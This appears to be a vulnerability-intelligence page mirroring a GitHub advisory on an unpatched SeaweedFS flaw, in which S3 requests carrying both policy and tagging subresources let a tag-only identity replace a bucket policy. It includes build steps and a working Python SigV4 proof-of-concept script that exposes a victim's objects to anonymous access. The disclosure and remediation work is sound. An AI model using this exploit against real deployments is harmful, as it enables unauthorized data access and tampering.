llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/seaweedfs/seaweedfs

GHSA-MGV5-VF6W-3H85

Ambiguous S3 subresource query lets a bucket tagger replace the bucket policy

Sin parche publicado
Descargar PNG JSON
CVSS 4.0
8.7
Alta
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición11 dDesde la divulgación, 9 nov 2026, 2:44 p. m.
Detección10 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 4.0 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
Échale un ojo a tu inventario, ¿dale?Saqué la lupa: aquí hay algo que investigar.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
9 nov 26
20 nov 26
21 nov 26
9 nov 26
12 nov 26
15 nov 26
18 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-MGV5-VF6W-3H85 divulgada · CVSS 8.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Ambiguous S3 subresource query lets a bucket tagger replace the bucket policy

Summary

SeaweedFS routes an S3 `PUT` containing both `policy` and `tagging` subresources to the bucket-policy handler, while its IAM action resolver authorizes the same request only as `s3:PutBucketTagging`. A low-privilege principal delegated tag management on another tenant's bucket can therefore install an arbitrary bucket policy. The reproduced policy exposed a previously private victim object to an anonymous request.

Impact and affected scope

  • Type: Broken access control
  • Affected component: SigV4-authenticated SeaweedFS S3 gateway bucket subresource handling
  • Preconditions: A valid S3 identity with `s3:PutBucketTagging` on the victim bucket but no bucket-policy permission
  • Verified revision: `8dcdb70594ae9e9c2ac07aa6d497f38d8c580448` on 27 August 2026
  • Affected release range: `<= 4.44`, as entered by the maintainer; patched version not yet specified

The demonstrated policy granted anonymous read, write, and delete actions to the victim bucket's objects. The report does not claim impact outside the affected bucket authorization boundary.

Technical details

Gorilla routing selects the bucket-policy handler because the `policy` route is registered first and still matches when extra query keys are present. The independently ordered action resolver checks `tagging` first, so IAM authorizes only `s3:PutBucketTagging`. The selected policy handler then persists the supplied policy without a second policy-management check.

Relevant code:

  • `weed/s3api/s3api_server.go:899` — registers the bucket subresource routes.
  • `weed/s3api/s3_action_resolver.go:148,196` — resolves the ambiguous request as tag management.
  • `weed/s3api/s3_iam_middleware.go:304` and `weed/s3api/auth_credentials.go:2659` — authorize the resolved action.
  • `weed/s3api/s3api_bucket_policy_handlers.go:73,239` — stores and applies the policy body.

Reproduction

Run this only on an authorized disposable host with Go 1.26 and Python 3. Build the verified revision:

git clone https://github.com/seaweedfs/seaweedfs.git
cd seaweedfs
git checkout 8dcdb70594ae9e9c2ac07aa6d497f38d8c580448
go build -trimpath -o weed-poc ./weed
mkdir -p poc-data poc-tmp

Save this as `s3-poc.json`:

{
  "identities": [
    {
      "name": "victim-admin",
      "credentials": [
        {"accessKey": "victim-admin", "secretKey": "victim-secret"}
      ],
      "actions": ["Admin"]
    },
    {
      "name": "tagger",
      "credentials": [
        {"accessKey": "tagger", "secretKey": "tagger-secret"}
      ],
      "policyNames": ["VictimTagOnly"]
    }
  ],
  "policies": [
    {
      "name": "VictimTagOnly",
      "content": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"s3:PutBucketTagging\"],\"Resource\":[\"arn:aws:s3:::victim-bucket\"]}]}"
    }
  ]
}

Start the real mini deployment:

TMPDIR="$PWD/poc-tmp" WEED_TELEMETRY=false ./weed-poc mini \
  -dir="$PWD/poc-data" \
  -ip=127.0.0.1 -ip.bind=127.0.0.1 \
  -master.port=19333 -volume.port=19340 -filer.port=18888 \
  -s3.port=18333 -s3.port.iceberg=0 -s3.port.lance=0 \
  -s3.config="$PWD/s3-poc.json" -metricsPort=19326 \
  -webdav=false -admin.ui=false -master.telemetry=false \
  -master.volumeSizeLimitMB=64 -volume.preStopSeconds=0 \
  >seaweedfs-poc.log 2>&1 &

Save this as `verify_policy_query.py`:

#!/usr/bin/env python3
from __future__ import annotations

import datetime
import hashlib
import hmac
import http.client
import json
import sys
import time
import urllib.parse

HOST = "127.0.0.1"
PORT = 18333
REGION = "us-east-1"
SERVICE = "s3"


def _sign(key: bytes, message: str) -> bytes:
    return hmac.new(key, message.encode(), hashlib.sha256).digest()


def request(method: str, path: str, query: list[tuple[str, str]] | None = None,
            body: bytes = b"", access: str | None = None,
            secret: str | None = None) -> tuple[int, bytes]:
    query = query or []
    canonical_query = "&".join(
        f"{urllib.parse.quote(k, safe='-_.~')}={urllib.parse.quote(v, safe='-_.~')}"
        for k, v in sorted(query)
    )
    target = path + (("?" + canonical_query) if canonical_query else "")
    headers = {"Host": f"{HOST}:{PORT}"}
    if access is not None and secret is not None:
        now = datetime.datetime.now(datetime.timezone.utc)
        amz_date = now.strftime("%Y%m%dT%H%M%SZ")
        day = now.strftime("%Y%m%d")
        payload_hash = hashlib.sha256(body).hexdigest()
        canonical_headers = (
            f"host:{HOST}:{PORT}\n"
            f"x-amz-content-sha256:{payload_hash}\n"
            f"x-amz-date:{amz_date}\n"
        )
        signed_headers = "host;x-amz-content-sha256;x-amz-date"
        canonical_request = "\n".join([
            method, path, canonical_query, canonical_headers,
            signed_headers, payload_hash,
        ])
        scope = f"{day}/{REGION}/{SERVICE}/aws4_request"
        string_to_sign = "\n".join([
            "AWS4-HMAC-SHA256", amz_date, scope,
            hashlib.sha256(canonical_request.encode()).hexdigest(),
        ])
        key_date = _sign(("AWS4" + secret).encode(), day)
        key_region = _sign(key_date, REGION)
        key_service = _sign(key_region, SERVICE)
        key_signing = _sign(key_service, "aws4_request")
        signature = hmac.new(
            key_signing, string_to_sign.encode(), hashlib.sha256
        ).hexdigest()
        headers.update({
            "x-amz-content-sha256": payload_hash,
            "x-amz-date": amz_date,
            "Authorization": (
                f"AWS4-HMAC-SHA256 Credential={access}/{scope}, "
                f"SignedHeaders={signed_headers}, Signature={signature}"
            ),
        })
    conn = http.client.HTTPConnection(HOST, PORT, timeout=15)
    conn.request(method, target, body=body, headers=headers)
    response = conn.getresponse()
    data = response.read()
    status = response.status
    conn.close()
    return status, data


def require(label: str, actual: int, expected: int, body: bytes) -> None:
    print(f"{label}: HTTP {actual}")
    if actual != expected:
        print(body.decode(errors="replace"), file=sys.stderr)
        raise SystemExit(f"expected HTTP {expected} for {label}, got {actual}")


def main() -> None:
    for _ in range(90):
        try:
            status, _ = request("GET", "/")
            if status:
                break
        except OSError:
            time.sleep(1)
    else:
        raise SystemExit("S3 endpoint did not become ready")

    owner = ("victim-admin", "victim-secret")
    attacker = ("tagger", "tagger-secret")
    secret_value = b"POC_VICTIM_SECRET_87915324\n"
    policy = json.dumps({
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Principal": "*",
            "Action": ["s3:GetObject", "s3:PutObject", "s3:DeleteObject"],
            "Resource": "arn:aws:s3:::victim-bucket/*",
        }],
    }, separators=(",", ":")).encode()

    status, body = request("PUT", "/victim-bucket", access=owner[0], secret=owner[1])
    require("owner creates victim bucket", status, 200, body)
    status, body = request(
        "PUT", "/victim-bucket/secret.txt", body=secret_value,
        access=owner[0], secret=owner[1]
    )
    require("owner uploads confidential object", status, 200, body)

    status, body = request(
        "GET", "/victim-bucket/secret.txt", access=attacker[0], secret=attacker[1]
    )
    require("tag-only attacker read baseline", status, 403, body)
    status, body = request("GET", "/victim-bucket/secret.txt")
    require("anonymous read baseline", status, 403, body)

    status, body = request(
        "PUT", "/victim-bucket", [("policy", "")], policy,
        attacker[0], attacker[1]
    )
    require("plain policy update baseline", status, 403, body)

    status, body = request(
        "PUT", "/victim-bucket", [("policy", ""), ("tagging", "")], policy,
        attacker[0], attacker[1]
    )
    require("ambiguous policy+tagging request", status, 204, body)

    status, body = request("GET", "/victim-bucket/secret.txt")
    require("anonymous read after request", status, 200, body)
    if body != secret_value:
        raise SystemExit(f"unexpected object body: {body!r}")
    print("POC_SUCCESS: tag-only identity installed a bucket policy")


if __name__ == "__main__":
    main()

Run:

python3 verify_policy_query.py

The verified run observed HTTP 403 for the tag-only object read, anonymous read, and ordinary `?policy` update. The ambiguous `?policy=&tagging=` request returned HTTP 204, after which the unsigned object read returned HTTP 200 with the exact private proof value.

Expected: routing and authorization must select the same subresource, and tag-only permission must not replace the bucket policy.

Observed: the request was handled as policy replacement but authorized as tag management, changing anonymous access.

Suggested remediation

Canonicalize and validate the subresource set before both routing and authorization. Reject requests containing conflicting action-bearing subresources, and make the policy handler perform an explicit bucket-policy permission check as defense in depth.

Severity

CVSS v4.0: 8.7 (High) — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`

This assessment is preliminary and pending maintainer confirmation.

Disclosure context and attribution

AI tools helped surface this potential issue. We independently reviewed the evidence and reproduced it against the pinned revision before submitting it privately through SeaweedFS's required channel.

Reported by the University of Sydney security research team:

  • Ziyue Wang (@Zyy0530) https://github.com/Zyy0530
  • Liyi Zhou (@lzhou1110) https://github.com/lzhou1110
  • Strick Sheng (@Str1ckl4nd) https://github.com/Str1ckl4nd
  • Maurice Ng (@mauriceng98) https://github.com/mauriceng98
  • Chenchen Yu (@7thParkk) https://github.com/7thParkk

We are happy to answer questions, provide additional verification details, or validate a candidate patch.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:N
NingunoPresentes
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:H
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
github.com/seaweedfs/seaweedfs≤ 4.44
4.44
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/seaweedfs/seaweedfs
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-mgv5-vf6w-3h85

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.